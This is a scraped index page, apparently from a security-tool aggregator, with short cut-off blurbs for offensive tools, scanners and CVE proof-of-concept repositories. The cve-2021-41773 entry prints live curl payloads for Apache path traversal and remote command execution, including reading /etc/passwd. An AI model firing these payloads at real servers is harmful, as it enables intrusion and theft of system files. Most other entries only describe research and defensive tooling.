xepor

Xepor Xepor pronounced /ˈzɛfə/ , zephyr is a web routing framework for reverse engineers and security researchers. It provides a Flask-like API for hackers to intercept and modify HTTP requests and/or HTTP responses in a human-friendly coding style. This project is meant to be used with mitmproxy...

Deathnote

Deathnote Proof of Concept of CVE-2022-30190 A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling...

CVE-2020-14179

CVE-2020-14179 Scanner Sample scan ./CVE-2020-14179.pl -u jira.atlassian.com OR ./CVE-2020-14179.pl -u https://jira.atlassian.com List scan ./CVE-2020-14179.pl -l list.txt Show Options ./CVE-2020-14179.pl How to install and use linux git clone https://github.com/c0brabaghdad1/CVE-2020-14179.git c...

HouseProxy

HouseProxy Protege a tus padres del phishing, proxy HTTP enfocado en bloquear URL de phishing Instalación root@kitploit: git clone https://github.com/mthbernardes/HouseProxy.git cd HouseProxy/ pip3 install -r requeriments.txt Configuración root@kitploit: Edit etc/HouseProxy.conf to change de...

CVE-2016-5699-poc

CVE-2016-5699-poc PoC code of CVE-2016-5699 Vulnerability poc.py file is url sender to receiver.py receiver.py is Flask http receive headers testing Video : https://youtu.be/ugUt5iKpcV4 bunseokbot@UpRoot...

CVE-2021-43530-UXSS-On-QRcode-Reader-

CVE-2021-43530-UXSS-On-QRcode-Reader- CVE-2021-43530 A Universal XSS vulnerability was present in Firefox for Android resulting from improper sanitization when processing a URL scanned from a QR code. This bug only affects Firefox for Android. Other operating systems are unaffected.. This...

cve-2021-41773

cve-2021-41773 CVE-2021-41773 Path Traversal vulnerability in Apache 2.4.49. RCE POC PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh Follow us Vulnmachines YouTube Twitter...

waybackurls

waybackurls Acepta dominios separados por líneas en stdin, obtiene URLs conocidas de la Wayback Machine para .domain y las envía a stdout. Ejemplo de uso: root@kitploit: ▶ cat domains.txt | waybackurls urls Instalación: root@kitploit: ▶ go install github.com/tomnomnom/waybackurls@latest Crédito...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 command injection. The package pdfkit is vulnerable to Command Injection where the URL is not properly sanitized. Note: This issue was patched in 0.8.7.2, but the patch was discovered to be ineffective. The updated patch version is 0.8.7.2 PoC Star...

urlhunter

root@kitploit: o Utku Sen's /\o Oo |/ =- .===O- URL -O- / /U' hunter /|\ || |/ \ | utkusen.com |K || twitter.com/utkusenen urlhunter es una herramienta de reconocimiento que permite buscar URLs expuestas a través de servicios acortadores como bit.ly y goo.gl. El proyecto está escrito en Go...

CVE-2026-86507

Improper neutralization of input in Apache Roller 6.1.5 allows an anonymous remote attacker to store a crafted comment-author URL that can execute script in the session of a weblog moderator or global administrator when the comment management page is viewed. This affects sites that permit comment...

Instagram-Notes-Audio-Leakage-via-URL-Extraction-Fixed

🎙️ Instagram Notes Audio Leakage via URL Extraction Fixed & Rewarded 🛡️ Vulnerability Summary In 05/2025, I discovered a vulnerability in Instagram Web that allowed any user to extract the original video file from a Note and access the background audio , which was not meant to be publicly...

CVE-2023-4294

ID de CVE : CVE-2023-4294 Tipo de vulnerabilidad : Cross-Site Scripting Descripción : El plugin URL Shortify para WordPress es vulnerable a Stored Cross-Site Scripting a través de la cabecera referrer en versiones hasta la 1.7.5 inclusive debido a un insuficiente saneamiento de entrada y escape d...

CVE-2024-1304---Badgermeter-moni-tool-Reflected-Cross-Site-Scripting-XSS

CVE-2024-1304 --- Badgermeter moni tool - Reflected Cross Site Scripting XSS https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-badger-meters-monitool CVE-2024-1304: 6.3 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L | CWE-79. Software link :...

remote-control

Remote Control for Laravel Grant remote access to user account without sharing credentials. Installation Configuration Usages Routing Creating Remote Access Using Generated Access Token Installation Remote Control can be installed via composer: root@kitploit: composer require...

svg_phishing_tools

SVG Security Analysis Toolkit - Tool Documentation This toolkit contains specialized Python tools for analyzing potentially malicious SVG files and detecting security mechanisms. Overview The toolkit consists of four main tools: 1. extract.py - Static analysis for obfuscated URL extraction 2...

CVE-2024-6387

CVE-2024-6387 Installation and Execution of the Script 💻 Prerequisites Before starting, make sure you have the following tools installed on your machine: Python 3.x Git pip to manage Python dependencies Installation Steps 1. Clone the repository Use git to clone the repository: root@kitploit: git...

Zeus-Scanner

Directorio de enlaces útiles Qué es Zeus Funciones de Zeus Requisitos e instalación Ubuntu/Debian centOS otro Capturas de pantalla Video de demostración Manual de usuario Cómo funciona Zeus Funcionalidad Pasando banderas sqlmap con Zeus Información legal Licencia GPL Código de conducta Informar d...

Zeus-Scanner

Annuaire des liens utiles Qu'estce que Zeus Les caractéristiques de Zeus Exigences et installation Ubuntu/Debian centOS autre Capturesécran vidéo Demo manuel d'utilisation Comment fonctionne Zeus Fonctionnalité Passant drapeaux sqlmap avec Zeus Informations légales Licence GPL Code de conduite...

log4jcheck

...